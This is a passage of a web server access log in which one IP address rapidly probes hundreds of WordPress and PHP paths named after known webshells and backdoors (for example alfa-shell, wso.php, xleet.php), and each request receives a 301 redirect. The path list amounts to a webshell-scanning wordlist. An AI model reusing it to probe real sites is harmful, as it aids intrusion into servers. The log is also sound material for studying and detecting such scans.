-0400] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:23 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:23 -0400] "GET /wp-content/uploads/suit5y.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:23 -0400] "GET /wp-content/plugins/qwfdsop/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:24 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:24 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:24 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:24 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:24 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:25 -0400] "GET /stats.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:25 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:25 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:25 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:25 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:25 -0400] "GET /.well-known/caches.php.suspected HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:26 -0400] "GET /.well-known/acme-challenge/adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:26 -0400] "GET /images/headers/strenms.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:26 -0400] "GET /wp-content/plugins/mqdlgzp/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:26 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:26 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:27 -0400] "GET /wp-content/plugins/lgexwbe/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:27 -0400] "GET /wordpress/wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:27 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:27 -0400] "GET /logout.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:27 -0400] "GET /wp-includes/php-compat/wp/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:28 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:28 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:28 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:28 -0400] "GET /wp-content/plugins/myhbidf/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:28 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:28 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:29 -0400] "GET /wp-content/upgrade/alfa-shell-v4.1-tesla-decoded.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:29 -0400] "GET /wp-content/themes/astra/inc/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:29 -0400] "GET /modules/mod_webshell/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:29 -0400] "GET /wp-content/plugins/plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:29 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:29 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:30 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:30 -0400] "GET /wp-includes/Text/Diff/Engine/com_search.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:30 -0400] "GET /images/resumes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:30 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:30 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:31 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:31 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:31 -0400] "GET /wp-content/themes/astra/inc/builder/type/header/button/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:31 -0400] "GET /wp-includes/Cez57/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:31 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:32 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:32 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/jasmine.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:32 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:32 -0400] "GET /wp-links.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:32 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:32 -0400] "GET /wp-content/plugins/backup-backup/includes/1a895fa06f.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:33 -0400] "GET /wp-content/plugins/vslnxrk/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:33 -0400] "GET /wp-includes/customize/class-wp-customize-sidebar-secure.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:33 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:33 -0400] "GET /.well-known/zxhfwqyt.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:33 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:34 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:34 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:34 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:34 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:34 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:34 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:35 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:35 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:35 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:35 -0400] "GET /notifications.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:35 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:35 -0400] "GET /wp-admin/js/wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:36 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:36 -0400] "GET /wp-content/plugins/6i85g10k/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:36 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:36 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:36 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:37 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:37 -0400] "GET /wp-includes/blocks/block/moon.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:37 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:37 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:37 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:38 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:38 -0400] "GET /wp-content/plugins/erin/yani/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:38 -0400] "GET /config_load.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:38 -0400] "GET /wp-content/plugins/about HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:38 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:38 -0400] "GET /.well-known/uploads HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:39 -0400] "GET /wp-content/plugins/vmgbzgi/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:39 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:39 -0400] "GET /wp-includes/log404.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:39 -0400] "GET /wp-content/themes/onum-child/custom-templates/dir/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:40 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:40 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:40 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:40 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:41 -0400] "GET /wp-content/themes/9rafadt6/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:41 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:41 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:41 -0400] "GET /pdf.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:42 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:42 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:42 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:42 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:43 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:43 -0400] "GET /wp-admin/user/1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:43 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:43 -0400] "GET /wp-includes/js/tinymce/wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:43 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:44 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:44 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:44 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:44 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:45 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:45 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:45 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:46 -0400] "GET /wp-content/plugins/sid/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:46 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:46 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:46 -0400] "GET /assets/images/tinyimg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:47 -0400] "GET /.well-known/wso.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:47 -0400] "GET /wp-includes/Cez57/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:47 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:48 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:48 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:48 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:48 -0400] "GET /wp-content/plugins/WordPressCore/swvhvgnq.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:49 -0400] "GET /.well-known/init HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:49 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:49 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:50 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:50 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:50 -0400] "GET /DxHhVcy2bmJ.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:50 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:51 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:51 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:51 -0400] "GET /reset.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:51 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:51 -0400] "GET /wp-content/themes/7nd9yzxp/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:52 -0400] "GET /wp-content/plugins/dmozhzr/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:52 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:52 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:52 -0400] "GET /assets/wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:53 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:53 -0400] "GET /wp-content/plugins/dfgs/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:53 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:53 -0400] "GET /wp-content/uploads/option.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:53 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:54 -0400] "GET /faq.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:54 -0400] "GET /wp-content/plugins/cifkpgk/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:54 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:54 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:55 -0400] "GET /wp/wp-content/themes/w695elkq/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:55 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:55 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:55 -0400] "GET /wp-admin/themes/about HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:55 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:56 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:56 -0400] "GET /wp-content/upgrade/upfile.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:56 -0400] "GET /oauth.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:56 -0400] "GET /wp-content/berlin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:56 -0400] "GET /plugins/broken-link-checker/core/utils/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:57 -0400] "GET /wp-content/plugins/qdcitph/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:57 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:57 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:57 -0400] "GET /wp-includes/bmccxior.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:57 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:58 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:58 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:58 -0400] "GET /wp-includes/widgets/class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:58 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:58 -0400] "GET /plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:59 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:59 -0400] "GET /wp-admin/js/widgets/xleet.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:59 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:59 -0400] "GET /wp-content/plugins/contact-form-7-to-database-extension/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:00 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:00 -0400] "GET /wp-content/plugins/erfdsxx/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:00 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:00 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:01 -0400] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:01 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:01 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:01 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:02 -0400] "GET /.well-known/plugins HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:02 -0400] "GET /wp-content/uploads/setup HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:02 -0400] "GET /wordpress/wp-content/plugins/pkghsb/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:02 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:03 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:03 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:03 -0400] "GET /wp-includes/SimplePie/HdGGN/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:03 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:04 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:04 -0400] "GET /wp-content/uploads/2023/08/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:04 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:05 -0400] "GET /home/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:05 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:05 -0400] "GET /wp-content/plugins/upboxtn/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:06 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:06 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:07 -0400] "GET /gzak2w.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:07 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:07 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:07 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:08 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:08 -0400] "GET /wp/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:08 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:08 -0400] "GET /wp-admin/themes/config HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:09 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:09 -0400] "GET /wp-content/plugins/efhkgws/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:09 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:09 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:10 -0400] "GET /components/com_jea/views/form/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:10 -0400] "GET /wp-content/plugins/eblovwl/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:11 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:11 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:11 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:12 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:12 -0400] "GET /wp-content/plugins/dapeasyinstaller/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:12 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:13 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:13 -0400] "GET /wp-includes/random_compat/bala.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:13 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:14 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:14 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 